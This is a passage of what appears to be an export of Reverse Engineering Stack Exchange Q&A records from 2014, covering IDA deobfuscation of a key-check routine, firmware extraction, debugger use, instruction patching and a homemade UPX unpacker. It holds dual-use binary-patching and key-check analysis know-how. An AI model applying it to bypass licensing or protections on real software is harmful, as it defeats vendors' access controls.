v23; // [sp+8h] [bp-8h]@2\n  void (__fastcall *v24)(int); // [sp+Ch] [bp-4h]@7\n  int v25; // [sp+10h] [bp+0h]@1\n\n  v22 = 0;\n  v21 = 0;\n  v20 = a2;\n  v19 = a4;\n  v18 = a3;\n  v5 = a1;\n  v17 = &amp;v25;\n  v16 = loc_45C6FD;\n  v15 = *MK_FP(__FS__, 0);\n  *MK_FP(__FS__, 0) = &amp;v15;\n  JUMPOUT(Controls__TControl__GetTextLen(*(_DWORD *)(a1 + 872)), 0xFu, *(unsigned int *)\"j\");\n  v6 = Controls__TControl__GetTextLen(*(_DWORD *)(a1 + 872));\n  System____linkproc___DynArraySetLength(v6);\n  System____linkproc___DynArraySetLength(664);\n  v14 = &amp;v25;\n  v13 = loc_45C699;\n  v12 = *MK_FP(__FS__, 0);\n  *MK_FP(__FS__, 0) = &amp;v12;\n  v4 = 0;\n  do\n  {\n    Controls__TControl__GetText(*(_DWORD *)(v5 + 872), &amp;v21, v12);\n    *(_DWORD *)(v23 + 4 * v4) = *(_BYTE *)(v21 + v4 - 1);\n    ++v4;\n  }\n  while ( v4 != 16 );\n  v8 = 1;\n  v9 = 0;\n  v7 = 4585384;\n  do\n  {\n    if ( v8 == 16 )\n      v8 = 1;\n    *(_BYTE *)(v22 + v9++) = *(_BYTE *)v7++ ^ *(_BYTE *)(v23 + 4 * v8++);\n  }\n  while ( v9 != 665 );\n  v24 = (void (__fastcall *)(int))v22;\n\n  // I know the key to success lies here, but I can't figure out what this if is supposed to do\n  if ( *(_BYTE *)v22 != 96 || *(_BYTE *)(v22 + 4) != 208 || *(_BYTE *)(v22 + 9) )\n    MessageBoxA_0(0, \"Invalid Key\", \"Error\", 0);\n  else\n    v24(v22);\n  *MK_FP(__FS__, 0) = v12;\n  v11 = v15;\n  *MK_FP(__FS__, 0) = v15;\n  System____linkproc___LStrClr(&amp;v21, v11, 4572932);\n  System____linkproc___DynArrayClear(&amp;v22, off_45C568);\n  return System____linkproc___DynArrayClear(&amp;v23, off_45C548);\n}\n</code></pre>\n\n<p>I would appreciate it if someone could give me advice on how to \"deobfuscate\" this piece of code. Are there any plugins available to do this? Is there a special technique that I can use to figure it out? Would it be better to look at the Assembler code instead of the Pseudocode?</p>\n\n<p>I especially wonder where these weird constants (like 872 for example) come from.</p>\n\n<p>Answers would be highly appreciated.</p>\n",
        "Title": "Deobfuscating IDA Pseudocode",
        "Tags": "|ida|decompilation|deobfuscation|",
        "Answer": "<p>IDA Pro is no magic tool to automatically decompile binaries to their source code. The decompiler output should not be relied every time (as compiling leads to loss of information) although IDA boasts of the finest decompiler available. Instead focus on the disassembly listing. For specific parts, you can use the decompiler output as your reference.</p>\n\n<p>Deobfuscation is a multi-step process. First try to understand the usages of <em>variables</em>, <em>structures</em>, etc and then give them a more easy-to-understand names reflecting their purpose. In many cases you can understand the variables purposes by just noting how it is used in function calls. For example <code>Vcl.Controls.TControl.GetTextLen</code> returns the length of the control's text. That means among the parameters passed, one must be the a pointer to the <code>TControl</code>. You can use this information to rename variables.</p>\n\n<p>In case of <code>VCL</code> binaries, <em><a href=\"http://kpnc.org/idr32/en/\" rel=\"nofollow\">Interactive Delphi Reconstructor</a></em>, will give you more easy-to-understand disassembly, as it is geared for that purpose. IDR also has a somewhat very limited decompilation capability.</p>\n\n<p>For better understanding IDA Pro and its myriad of features, I would recommend to go through these two books <em><a href=\"http://rads.stackoverflow.com/amzn/click/1593272898\" rel=\"nofollow\">The IDA Pro Book</a></em> and <em><a href=\"http://rads.stackoverflow.com/amzn/click/159749237X\" rel=\"nofollow\">Reverse Engineering Code with IDA Pro</a></em> </p>\n"
    },
    {
        "Id": "5841",
        "CreationDate": "2014-07-13T08:27:18.583",
        "Body": "<p>It would be very useful to have a pure Python library that could assemble x86, x64, and ARM instructions. Do you have a recommendation?</p>\n\n<p>I don't mind if they are not pure Python, but that'd be preferred.</p>\n",
        "Title": "Python library for assembling x86, x64 and ARM exploits",
        "Tags": "|disassembly|assembly|python|",
        "Answer": "<p>Today, several years after the original post and answers - There's another noteworthy package for generating machine code from assembly- <a href=\"https://www.keystone-engine.org/\" rel=\"nofollow noreferrer\">Keystone</a>.</p>\n<p>Keystone is written in C++ but has binding for many languages (Python included), and supports multiple architectures (including x86, amd64 and ARM) so it's a perfect fit!</p>\n<p>Quoting the website's highlighted features:</p>\n<blockquote>\n<ol>\n<li>Multi-architecture, with support for Arm, Arm64 (AArch64/Armv8), Ethereum Virtual Machine, Hexagon, Mips, PowerPC, Sparc, SystemZ, &amp; X86 (include 16/32/64bit).</li>\n<li>Clean/simple/lightweight/intuitive architecture-neutral API.</li>\n<li>Implemented in C/C++ languages, with bindings for Java, Masm, Visual Basic, C#, PowerShell, Perl, Python, NodeJS, Ruby, Go, Rust, Haskell &amp; OCaml available.</li>\n<li>Native support for Windows &amp; *nix (with Mac OSX, Linux, *BSD &amp; Solaris confirmed).</li>\n<li>Thread-safe by design.</li>\n<li>Open source.</li>\n</ol>\n</blockquote>\n<p>Keystone is part of a more extensive set of tools together with <a href=\"https://www.capstone-engine.org/\" rel=\"nofollow noreferrer\">Capstone</a> (Disassembler) and <a href=\"https://www.unicorn-engine.org/\" rel=\"nofollow noreferrer\">Unicorn</a> (Emulator).</p>\n<p>Additionally, if you just want something quick and easy (and don't mind using an online service) - shell-storm's <a href=\"https://shell-storm.org/online/Online-Assembler-and-Disassembler/\" rel=\"nofollow noreferrer\">online dis/assembler</a> is also based on Keystone and Capstone</p>\n"
    },
    {
        "Id": "5846",
        "CreationDate": "2014-07-14T02:28:15.467",
        "Body": "<p>While poking around at the headers and such from my new Simple.TV DVR, I found it downloading a file named rssflash_1035_201311211539.update00.bin. I ran binwalk to look for anything obvious, but it came up blank. I suspect it might be encrypted (?).  Any thoughts about what I could do next to get more information about this?</p>\n\n<p>The download link to the file, in case anyone else is interested: \n[redacted]</p>\n\n<p>Thanks!</p>\n",
        "Title": "I found the .bin firmware for my Simple.TV device. Binwalk comes up blank. Anything I can do?",
        "Tags": "|firmware|",
        "Answer": "<p>Use a current. up to date version of binwalk, it works fine </p>\n\n<pre><code>$ binwalk rssflash_1035_201311211539.update00.bin \n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n0             0x0             Squashfs filesystem, little endian, version 4.0, compression:gzip, size: 83899310 bytes,  3291 inodes, blocksize: 131072 bytes, created: Fri Nov 22 00:48:15 2013\n</code></pre>\n\n<p>Or you can use Firmware Mod Kit's <code>unsquash-all</code> to unsquash it. </p>\n"
    },
    {
        "Id": "5847",
        "CreationDate": "2014-07-14T02:35:37.890",
        "Body": "<p>I am somewhat interested in learning how to RE but right now am learning C, and was wondering if anyone could give me a link to a good tutorial on how to use <code>gdb</code></p>\n\n<p>Also, in reference to registers...if <code>rax</code> is 64-bit and <code>eax</code> is 32, then <code>ax</code> must be 16, right? What's 8bit...or was 8bit ASM not a thing?</p>\n",
        "Title": "Learning disASM, other things",
        "Tags": "|gdb|",
        "Answer": "<p>When I was learning RE (and I'm always still learning!), I found reading <a href=\"http://www.charlespetzold.com/code/\" rel=\"nofollow noreferrer\">\"CODE\" by Charles Petzold</a> to be extremely informative and really helped me understand WHY computers work the way that they do on a low level. <a href=\"http://www.microsoft.com/mspress/books/sampchap/4677.aspx\" rel=\"nofollow noreferrer\">Sample chapter available here</a>.</p>\n\n<p>It's a book about first principles, but reads like a fiction book, not a computer science book. At one point Petzold walks the reader through how to build a computer counting machine using only parts that would've been available ~100 years ago. If you've never taken an electronics class and concepts such as gates and boolean logic aren't very clear, start here. You'll learn about these concepts without even realizing it.</p>\n\n<p>After reading that (which you can finish in a couple evenings), then you could move on to GDB. I'm sure others can make better recommendations than me on GDB, but I found this book helpful the times I've used GDB: <a href=\"http://shop.oreilly.com/product/9781593271749.do\" rel=\"nofollow noreferrer\">The Art of Debugging with GDB and DDD</a></p>\n\n<p>To answer the question about registers, I think an image can make this most clear. Note that this only covers 32-bits, but should be easy enough to see how the 64-bit registers expand on this.</p>\n\n<p><img src=\"https://i.stack.imgur.com/fXjfs.png\" alt=\"enter image description here\">\nsource: <a href=\"http://www.cs.virginia.edu/~evans/cs216/guides/x86.html\" rel=\"nofollow noreferrer\">http://www.cs.virginia.edu/~evans/cs216/guides/x86.html</a></p>\n"
    },
    {
        "Id": "5849",
        "CreationDate": "2014-07-14T05:55:06.107",
        "Body": "<p>I was reversing some C++ code and encountered following function.</p>\n\n<pre><code>sub_106C0A0 proc near\n\nvar_10= dword ptr -10h\nvar_C= dword ptr -0Ch\nvar_4= dword ptr -4\n\npush    0FFFFFFFFh\npush    offset SEH_106C0A0\nmov     eax, large fs:0\npush    eax\nmov     large fs:0, esp\npush    ecx\npush    esi\nmov     esi, ecx\npush    edi\nlea     edi, [esi+4]\npush    30h\nmov     ecx, edi\nmov     [esp+1Ch+var_10], esi\nmov     dword ptr [esi], offset off_12C0680\ncall    struc_13_ctor\nmov     dword ptr [edi], offset off_12C057C ; another vtable init ?\n</code></pre>\n\n<p>This function passes this pointer of some object (struc_13), which is esi+4, to the struc_13_ctor. Inside the struc_13_ctor function, it initializes the vtable pointer and other member variables. </p>\n\n<pre><code>; int __thiscall struc_13_ctor(struc_13 *this, __int16 a2)\nstruc_13_ctor proc near\n\narg_0= word ptr  4\n\nmov     dx, [esp+arg_0]\nmov     eax, ecx\nxor     ecx, ecx\nmov     dword ptr [eax], offset struc_13_vtable\nmov     [eax+4], ecx\nmov     [eax+8], ecx\nmov     [eax+0Ch], dx\nmov     [eax+0Eh], cx\nmov     [eax+14h], ecx\nmov     [eax+10h], ecx\nretn    4\nstruc_13_ctor endp\n</code></pre>\n\n<p>However after returning from struc_13_ctor, it overwrites the vtable pointer with the new value, which is off_12C057C in this case. </p>\n\n<pre><code>call    struc_13_ctor\nmov     dword ptr [edi], offset off_12C057C ; another vtable init ?\n</code></pre>\n\n<p>I have seen this kind of behaviors a lot while looking at ctor functions, but never understood why this happens. </p>\n",
        "Title": "Questions about reversing object oriented code(initializing vtables in ctors)",
        "Tags": "|c++|",
        "Answer": "<p>I think the c++ code would look something like this:</p>\n\n<pre><code>// has vtbl struc_13_vtable\n// has constructor struc_13_ctor\nstruct struc_13 {\n    int  a,b;\n    short c,d;\n    int e,f;\n\n    struc_13(short x)\n       : a(0), b(0), c(x), d(0), e(0), f(0)\n    { }\n\n    virtual void someotherfn();\n};\n\n// has vtbl off_12C057C\n// has inlined constructor\nstruct derivedmember : struc_13 {\n    derivedmember() : struc_13(0x30)\n    { }\n    virtual void someotherfn();\n};\n\n// has vtbl off_12C0680\n// has constructor sub_106C0A0\nstruct A {\n    derivedmember  member;\n    virtual void somefn();\n};\n</code></pre>\n"
    },
    {
        "Id": "5851",
        "CreationDate": "2014-07-14T13:00:56.863",
        "Body": "<p>To test the debugging capabilities of Hopper, I wrote a simple C++ command line application, and tried to run it on the remote debugging server (with gdb). However, I learned after I failed to be able to interact with the application, from the author, that the Hopper server does not support CL apps currently. In other words, it seems the app has to have its own GUI.</p>\n\n<p>Are there any workarounds for this? Specifically, is there a way I can write a standalone C++ Mach-O executable which has its own version of terminal built into it (without all the features, just an interpreter)?</p>\n",
        "Title": "Interacting with command line programs in Hopper disassembler (Mac OS 10.9)",
        "Tags": "|debuggers|c++|hopper|mach-o|",
        "Answer": "<p><strong>Update:</strong> Admirably, after just a few days after I sent in a request to include a feature to send input to command line applications, the sole developer of Hopper disassembler has included the feature. Notice the new 'application output' tab in the new Hopper disassembler 3.3.3:</p>\n\n<p><img src=\"https://i.stack.imgur.com/0ltS7.png\" alt=\"enter image description here\"></p>\n"
    },
    {
        "Id": "5855",
        "CreationDate": "2014-07-14T19:11:26.170",
        "Body": "<p>I am getting the following from gdb:</p>\n\n<p><img src=\"https://i.stack.imgur.com/zdqdQ.png\" alt=\"enter image description here\">  </p>\n\n<p>Below is the source of the program and the tutorial it came from. BAsed on what is going on in the tutorial, I should not be getting an error.</p>\n\n<pre><code>int main()\n{\n    int a = 5;\n    int b = a + 6;\n    return b;\n}\n</code></pre>\n\n<p><a href=\"https://www.hackerschool.com/blog/7-understanding-c-by-learning-assembly\" rel=\"nofollow noreferrer\">https://www.hackerschool.com/blog/7-understanding-c-by-learning-assembly</a></p>\n",
        "Title": "Why can't gdb find the address of a stack variable",
        "Tags": "|gdb|",
        "Answer": "<p>You need debugging symbols for the variable names to be defined in GDB. Did you compile with the <code>-g</code> switch?</p>\n"
    },
    {
        "Id": "5864",
        "CreationDate": "2014-07-15T16:52:30.820",
        "Body": "<p>I dont have any experience with assembler or reversing code. I need to change charset of .exe program to support turkish characters. I have opened it in Ollydbg do some tests. </p>\n\n<p><img src=\"https://i.stack.imgur.com/pK8V6.png\" alt=\"enter image description here\"></p>\n\n<p>There are several blocks like this. I tried to change binary <code>6A 01</code> to <code>6A A2</code> which should change to <code>162</code> (turkish charset) but instead turned to negative value. Also there are some codes like this one. Is changing <code>CP_ACP</code> to <code>CP_UTF8</code> gonna work ? </p>\n\n<p>Either way, is it possible to edit like this and get program support charset ?</p>\n\n<p><img src=\"https://i.stack.imgur.com/yDc1D.png\" alt=\"enter image description here\"> </p>\n",
        "Title": "Change program's codepage / charset",
        "Tags": "|disassembly|ollydbg|",
        "Answer": "<blockquote>\n  <p>I tried to change binary 6A 01 to 6A A2 which should change to 162 (turkish charset) but instead turned to negative value.</p>\n</blockquote>\n\n<p>Usually <a href=\"http://www.intel.com/content/www/us/en/processors/architectures-software-developer-manuals.html?iid=tech_vt_tech+64-32_manuals\" rel=\"nofollow\">the instruction set reference</a> is a huge help if you don't understand how instructions behave. In this case, I'd say you will need to use <code>68</code> (<code>PUSH imm32</code>) instead of <code>6A</code> (<code>PUSH imm8</code>). The <code>imm8</code> is sign-extended when pushed onto the stack. Note that you'll have to either shift the following function code by 3 bytes (which are the difference in sizes between <code>imm32</code> and <code>imm8</code> operands). Depending on the compiler used, its options, and the function size, there may be pad bytes after the function which can be used exactly for that. Watch out for e.g. jump tables, if there are any -- they may need to be patched as well.</p>\n\n<p>If it is not possible to shift the code, you can make use of code space somewhere else in the executable -- usually, the last page in <code>.text</code> is not fully used; move instructions that do not fit there and make a jump, like:</p>\n\n<pre><code>...\nPUSH EDI\nPUSH EDI\nPUSH A2 ; Your patched insn; 5 bytes\n...\nPUSH 190\nPUSH EDI\nPUSH EDI\n; So we need 2 extra bytes here\n; Moving CALL gives 6, patched PUSH takes 3, patched JMP takes 5\n; Moving two PUSHes along with CALL solves the problem\nJMP _somewhere_ ; Takes 5 bytes, opcode E9 disp32\nPUSH Game5_4.... ; back is here\n</code></pre>\n\n<p>And then, in the newly coded part (<code>_somewhere_</code>):</p>\n\n<pre><code>PUSH EDI\nPUSH EAX\nCALL DWORD PTR DS:[&lt;&amp;GDI32.CreateFontA&gt;]\nJMP back\n</code></pre>\n\n<blockquote>\n  <p>Is changing <code>CP_ACP</code> to <code>CP_UTF8</code> gonna work ?</p>\n</blockquote>\n\n<p>I don't know, to be honest. Depends a lot on other code. Making the program support something it was not designed for is a big ordeal. It might work, it might not, it might end up being buggy.</p>\n"
    },
    {
        "Id": "5868",
        "CreationDate": "2014-07-16T01:21:22.707",
        "Body": "<p>It seems that Windows 8 broke Ollydbg as several <code>ntdll</code> functions keep throwing exception <code>0xC0000008</code> and crashing my debugger.</p>\n\n<p>I am now using Windbg.  But, I am unable to view <code>FS</code> (specifically <code>FS:[0]</code>).  How can I get a dump of <code>FS</code> via Windbg? I've tried googling to no avail.  I am specifically interested in SEH, but all I can find is dumping TEB or PEB.</p>\n",
        "Title": "How can I view FS:[0] with windbg?",
        "Tags": "|x86|windbg|",
        "Answer": "<p>If you're looking to find the base address of a segment based on its selector, you can use <code>dg</code><em><code>&lt;selector&gt;</code></em>; in this context you would use <code>dg fs</code>:</p>\n\n<pre><code>0:000&gt; dg fs\n                                  P Si Gr Pr Lo\nSel    Base     Limit     Type    l ze an es ng Flags\n---- -------- -------- ---------- - -- -- -- -- --------\n003B 7ffdf000 00000fff Data RW Ac 3 Bg By P  Nl 000004f3\n</code></pre>\n\n<p>You can see above that the <code>Base</code> of <code>fs</code> is <code>7ffdf000</code>, so <code>FS:[0] == [7ffdf000]</code>.</p>\n\n<pre><code>0:000&gt; db 7ffdf000\n7ffdf000  1c f7 1d 00 00 00 1e 00-00 f0 1c 00 00 00 00 00  ................\n7ffdf010  00 1e 00 00 00 00 00 00-00 f0 fd 7f 00 00 00 00  ................\n7ffdf020  0c 13 00 00 bc 0f 00 00-00 00 00 00 2c f0 fd 7f  ............,...\n7ffdf030  00 a0 fd 7f 00 00 00 00-00 00 00 00 00 00 00 00  ................\n7ffdf040  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................\n7ffdf050  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................\n7ffdf060  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................\n7ffdf070  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................\n</code></pre>\n"
    },
    {
        "Id": "5874",
        "CreationDate": "2014-07-16T16:41:25.980",
        "Body": "<p>I'm debugging a process inside a VM via Olly, and occasionally exporting a section dump when needed and loading it on the host system for better analysis.</p>\n\n<p>Right now I'm looking at a dump of a certain code section that's referencing function calls in another, dynamically allocated, section. In the debugger I can of course see all the function calls, but in IDA all I have are calls to immediate addresses that don't exist.</p>\n\n<p>I'd like to be able to dump the referenced section and somehow bluntly attach it to the same .idb so IDA would be able to resolve the references for me.</p>\n\n<p>I couldn't find anything about it on google or when digging around the menus.\nDid I miss something or is this impossible or requires an addon? It's also possible for me to write an idapython script that defines and copies the section over, but I don't see any relevant API calls.</p>\n\n<p>Debugging via IDA and taking a full memory snapshot is a solution I'd like to not have to use; I enjoy using olly.</p>\n",
        "Title": "Adding another section to an idb file",
        "Tags": "|ida|",
        "Answer": "<p>After loading the main dump into IDA, in IDA's menubar go to <code>File</code> \u2192 <code>Load file</code> \u2192 <code>Additional binary file...</code>, select the dump of the dynamically allocated memory, and specify the dynamic allocation address as the <code>Loading segment</code>.</p>\n"
    },
    {
        "Id": "5876",
        "CreationDate": "2014-07-16T18:20:49.473",
        "Body": "<p>I'm running two virtual machines with Windows 7 (host OS Mac) using Virtualbox which I'd like to use to analyze malware. I have configured Visual Studio debugging and WinDBG, as well as other tools.</p>\n\n<p>What's the best way to save a backup of the victim machine to quickly recover from damage caused by malware? Should I make a .zip of the entire Virtualbox folder and store it elsewhere?</p>\n\n<hr>\n\n<p>Additional question: is it safe to run malware on a virtual machine with bridged adapter network settings for VS remote debugging?</p>\n",
        "Title": "Setting up virtual machine to recover from malware",
        "Tags": "|debugging|virtual-machines|",
        "Answer": "<p>To save and restore your VM's state, use snapshots: <a href=\"http://www.virtualbox.org/manual/ch01.html#snapshots\" rel=\"nofollow noreferrer\">http://www.virtualbox.org/manual/ch01.html#snapshots</a></p>\n\n<blockquote>\n  <p>With snapshots, you can save a particular state of a virtual machine\n  for later use. At any later time, you can revert to that state, even\n  though you may have changed the VM considerably since then. A snapshot\n  of a virtual machine is thus similar to a machine in \"saved\" state, as\n  described above, but there can be many of them, and these saved states\n  are preserved.</p>\n</blockquote>\n\n<p><img src=\"https://i.stack.imgur.com/k2Y4g.png\" alt=\"VirtualBox Snapshots\"></p>\n\n<p>Please create a separate Stack Exchange question for your second question.</p>\n"
    },
    {
        "Id": "5880",
        "CreationDate": "2014-07-16T23:03:35.030",
        "Body": "<p>I have the following assembly code :</p>\n\n<pre><code>.....\nlea eax, [ebp+ThreadID]\npush eax              ; lpThreadID\npush 0                ; dwCreationFlags\npush 0                ; lpParameter\npush offset StartAddress  ; lpStartAddress\npush 0                ; dwStackSize\ncall CreateThread\n....\n</code></pre>\n\n<p>So, I try to translate it in a C-like pseudocode:</p>\n\n<pre><code>DWORD* LPWORD eax_lpThreadID = NULL;\nDWORD dwCreationFlags;\nvoid *LPVOID lpParameter;\nSIZE_T dwStackSize;\nLPSECURITY ATTRIBUTES lpThreadAttributes;\n\nHANDLE handle_to_new_Thread = CreateThread(lpThreadAttributes, dwStackSize, ..., lpParameter, dwCreationFlags, eax_lpThreadID );\n</code></pre>\n\n<p>As you can see, I do not include the 3rd parameter, namely the parameter <code>LPTHREAD_START_ROUTINE lpStartAddress</code>, because I have problems understanding it.\nIn <a href=\"https://stackoverflow.com/questions/19472837/what-is-a-lpthread-start-routine\">this SO thread</a> i have read that a <code>LPTHREAD_START_ROUTINE</code> is a function pointer defined as:</p>\n\n<pre><code>typedef DWORD (__stdcall *LPTHREAD_START_ROUTINE) (\n  [in] LPVOID lpThreadParameter\n);\n</code></pre>\n\n<p>That would mean that the 4th parameter <code>lpThreadParameter</code> is a parameter of this. \nBut how can I integrate that information into my pseudo C code program ?\nI am little bit confused about that. Can someone explain it to me? The other attributes/parameters are clear.... </p>\n",
        "Title": "How to understand the \"lpStartAddress\"-Parameter of the function CreateThread",
        "Tags": "|assembly|c|",
        "Answer": "<p>In C pseudocode let's say you have a function called <code>doJob</code>. You want to create a thread to executes it.</p>\n\n<pre><code>DWORD WINAPI doJob(LPVOID lpParameter){\n    // Do some work. You can only pass one parameter.\n    // If you need more parameters, define a structure\n    // and send it though it's pointer.\n    return statuscode;\n}\n\nHandle hThread = \n   CreateThread(&amp;attributes,dwStackSize,&amp;doJob,&amp;paramstruct,flags,&amp;newThreadIdBuffer);\n</code></pre>\n\n<p>Or in asm (nasm syntax, if I still remember it):</p>\n\n<pre><code>lea eax, newThreadIdBuffer\npush eax\npush 0 ; or 4 or 0x00010000 or 0x00010004\nlea eax, paramstruct\npush eax\nlea eax, doJob\npush eax\npush dwStackSize ; 0 will use default\nlea eax, attributes\npush eax\ncall CreateThread\n</code></pre>\n\n<p>This can be done cleaner, but I believe it demonstrates the concept.</p>\n"
    },
    {
        "Id": "5881",
        "CreationDate": "2014-07-16T23:40:44.830",
        "Body": "<p>I have been looking all around for an answer to this, so I am hoping I find an answer here.</p>\n\n<p>I am working in Ollydbg 2.1 and every time I patch an exe it makes a foo.bak (backup) which is ok. However, I must reload the program to make more patches and often I am making multiple patches in multiple stubs at a time. Olly wont allow me to patch multiple times unless I rename the file cause there is a .bak already there and it wont over write that. I keep all my own backups so I am wondering.</p>\n\n<p>1 Is there a way to have olly not make backups?<br>\n2 Is there a way to have olly allow forover writing the .bak files or some way to have multiple saves in a session?</p>\n\n<p>Please let me know . </p>\n\n<p>Thanks!</p>\n",
        "Title": "Ollydbg 2.1 Allow for multiple saves or not make backups",
        "Tags": "|ollydbg|patching|",
        "Answer": "<p>Here is a hack for now... I think it would be better to not allow for it to make backups... Which I can do but for now this will just allow the changes to take place and JMP over the error sequence.</p>\n\n<p>The Origional</p>\n\n<pre><code>OFFSET 004BDBF7 :JNZ SHORT 004BDC1B\n</code></pre>\n\n<p>Change to:</p>\n\n<pre><code>JMP 004BDC1B \n</code></pre>\n\n<p>I almost feel bad for this cause there is has to be an option somewhere that I am not seeing. Not to mention the whole inception feeling of debugging a debugger running another process. 0.o...</p>\n"
    },
    {
        "Id": "5889",
        "CreationDate": "2014-07-18T07:34:41.780",
        "Body": "<p>Since I love to play with the WinAPI or debugging in general, I decided to write a small unpacker for the open source PE executable packer <a href=\"http://upx.sourceforge.net/\" rel=\"nofollow\">UPX</a> today (Windows version).</p>\n\n<p>In order to accomplish this, I proceeded as follow:</p>\n\n<ul>\n<li><code>CreateProcess</code> API all with <code>DEBUG</code> and <code>DEBUG_ONLY_THIS_PROCESS</code> flags.</li>\n<li><code>GetThreadContext</code> API call in order to read value of <code>EIP</code>.</li>\n<li><code>ReadProcessMemory</code> API call loop searching for the last <code>JMP</code> instruction.</li>\n<li>Overwriting the <code>E9</code> with <code>CC</code> in order to set an <code>INT3</code> breakpoint on the address.</li>\n<li>Entering <code>DebugEvent</code> loop waiting for the breakpoint. Once reached, reset byte back to <code>E9</code>, decrease <code>EIP</code> by one and jump to the address (<code>OEP</code>) of the target.</li>\n</ul>\n\n<p>After reaching the <code>OEP</code>, I proceed as follows in order to dump the process:</p>\n\n<ul>\n<li>Read ImageBase, Base of code, ImageSize, ... from original PE headers</li>\n<li><code>ReadProcessMemory(hProcess, header32.ImageBase, buffer, header32.SizeOfImage, bytes_read)</code></li>\n<li>Save buffer content to payload.bin, update the PE header of the file with new EntryPoint (<code>OEP</code>) and set <code>RawDataOffset</code> and <code>RawDataSize</code> of each section to its corresponding <code>VirtualAddress</code>/<code>VirtualSize</code>.</li>\n</ul>\n\n<p>After creating the dump with fixed <code>OEP</code> &amp; RAW offsets/sizes for the sections, I fix the dump with ImpREC (right now manually, but I plan to use <code>ImpREC.dll</code> or the ImpREC lite source in order to assemble everything in one tool at a later point).</p>\n\n<p>The thing that confuses me though, is the fact, that the resulting binaries worked perfectly fine (exact match with the MUP) for one test case (a small hello world fasm application) and my dump file was exactly the same I had received through OllyDump, but when I tried to do the same unpacking with an UPX packed version of <code>putty.exe</code>, my dumped memory varied from the one OllyDump had dumped starting at RAW offset <code>0x73970</code> (exact match before that address). </p>\n\n<p>However - the file size is again the same one (and all bytes before that offset match), just after that certain address the bytes magically won't match anymore (they are still non-zero though).</p>\n\n<p>I studied the source code in <code>OllyDump.c</code> thoroughly regarding this difference, but as for now I didn't find my mistake... In some cases my dumps are equal to the ones generated by OllyDump and in some they aren't. Or is the mistake probably in my approach already?</p>\n\n<p><strong>Note:</strong> Source code omitted on purpose, since it's a few hundred lines long and super messy as for now. Can/will add further details if required or if I missed something, please just let me know in the comments.</p>\n",
        "Title": "An issue when unpacking UPX",
        "Tags": "|unpacking|dumping|upx|",
        "Answer": "<p>Hard to tell what the reason for the differences might be without actually seeing the differences, but one guess is that you're doing <code>ReadProcessMemory(hProcess, header32.ImageBase, buffer, header32.SizeOfImage, bytes_read)</code>, while the other tool may be doing <code>foreach(section) {ReadProcessMemory(hProcess, header32.ImageBase + section.RVA, buffer, section.VirtualSize, bytes_read)}</code>; this may cause the \"caves\" between sections to differ.</p>\n\n<p>(BTW, I assume your <code>header32.ImageBase</code> is the actual base address of the module in memory, not just the image base address from the PE headers, since ASLR could relocate it at runtime.)</p>\n"
    },
    {
        "Id": "5890",
        "CreationDate": "2014-07-18T08:32:42.497",
        "Body": "<p>I compiled the following C++ code with <a href=\"http://en.wikipedia.org/wiki/MinGW\" rel=\"nofollow\">MinGW</a> and opened it in OllyDbg 2.01. And the program stops at the following lines:</p>\n\n<pre><code>CPU Disasm\nAddress   Hex dump          Command                                  Comments\n00401570  /$  83EC 1C       SUB ESP,1C\n00401573  |.  C70424 010000 MOV DWORD PTR SS:[LOCAL.6],1\n0040157A  |.  FF15 68814000 CALL DWORD PTR DS:[&lt;&amp;msvcrt.__set_app_ty\n00401580  \\.  E8 FBFBFFFF   CALL 00401180\n\n\nNames in Project1, item 20\n  Address = 00401570\n  Section = .text\n  Type = Export\n  Ordinal =\n  Name = &lt;ModuleEntryPoint&gt;\n  Comments =\n</code></pre>\n\n<p>However, this is not what I want. I prefer when OllyDbg stop at the following lines:</p>\n\n<pre><code>CPU Disasm\nAddress   Hex dump          Command                                  Comments\n004016B0  /$  55            PUSH EBP                                 ; Project1.004016B0(guessed void)\n004016B1  |.  89E5          MOV EBP,ESP\n004016B3  |.  83E4 F0       AND ESP,FFFFFFF0                         ; DQWORD (16.-byte) stack alignment\n004016B6  |.  83EC 10       SUB ESP,10\n004016B9  |.  E8 A2050000   CALL 00401C60\n004016BE  |.  C70424 645040 MOV DWORD PTR SS:[LOCAL.4],OFFSET 004050 ; /format =&gt; \"Hello World!\"\n004016C5  |.  E8 9E1F0000   CALL &lt;JMP.&amp;msvcrt.printf&gt;                ; \\MSVCRT.printf\n004016CA  |.  B8 00000000   MOV EAX,0\n004016CF  |.  C9            LEAVE\n004016D0  \\.  C3            RETN\n</code></pre>\n\n<p>Is that a bug? Why did MinGW set <code>SUB ESP, 1C</code> as the entrypoint? Can I set Ollydbg to start at the correct entrypoint?</p>\n",
        "Title": "Why did the program entry point become 'sub esp, 1C'?",
        "Tags": "|ollydbg|debugging|c++|",
        "Answer": "<p>No, this is not a bug. Likely this is because you confuse the executable's entry point address (where Olly breaks) with the address of your <code>main()</code> function (where you expect it to break). You should locate your <code>main()</code> and set a breakpoint there manually instead.</p>\n\n<p>There is a lot going on behind the scene before execution flow reaches <code>main()</code>. The code that gets control first is hidden within the C Run-Time (CRT) library provided by your compiler and is linked in automatically when you link your executable. This code (aptly named CRT startup) is responsible for setting up various things when a C program starts up, mainly, initializes all the internals of the C runtime (there is a lot of other stuff which I won't mention here), performs C++ static objects' constructor calls, and at the end calls your <code>main()</code>. So to get things going, the linker sets up the entry point to inside this startup machinery, which is exactly what we observe.</p>\n\n<p>Note: It is possible to strip all the CRT stuff from your executable at the expense of not having the C runtime library linked. Not sure whether this is what you would like to have.</p>\n"
    },
    {
        "Id": "5896",
        "CreationDate": "2014-07-19T08:10:42.750",
